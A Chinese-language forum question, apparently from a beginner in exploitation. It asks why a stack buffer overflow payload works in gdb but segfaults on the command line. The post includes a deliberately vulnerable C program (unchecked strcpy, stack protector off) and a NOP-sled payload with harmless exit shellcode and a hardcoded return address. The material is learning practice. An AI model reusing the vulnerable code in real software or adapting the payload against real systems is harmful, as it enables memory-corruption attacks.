所以我刚开始逆向工程,遇到了一些问题,直到我最近注意到一些奇怪的事情。我编写了一个非常简单的 shellcode(退出系统调用)用于练习,并在 gdb 中使用它。我使用以下代码来创建我的有效负载:
$(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
我针对以下程序运行此有效负载:
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
strcpy(buffer, argv[1]);
}
我编译了程序:
tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector
现在,这是我的问题。当我像这样在 gdb 中针对程序运行有效负载时,它运行良好。
(gdb) r $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Starting program: /root/exploiting/a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
[Inferior 1 (process 2573) exited normally]
(gdb
但是,如果我在命令行上运行它:
root@kali:~/exploiting# ./a.out $(python -c 'print "\x90" * 498 + "\x31\xdb\xb0\x01\xcd\x80" + "\x2c\xd1\xff\xff"')
Segmentation fault
为什么会发生这种情况?这是应该发生的吗?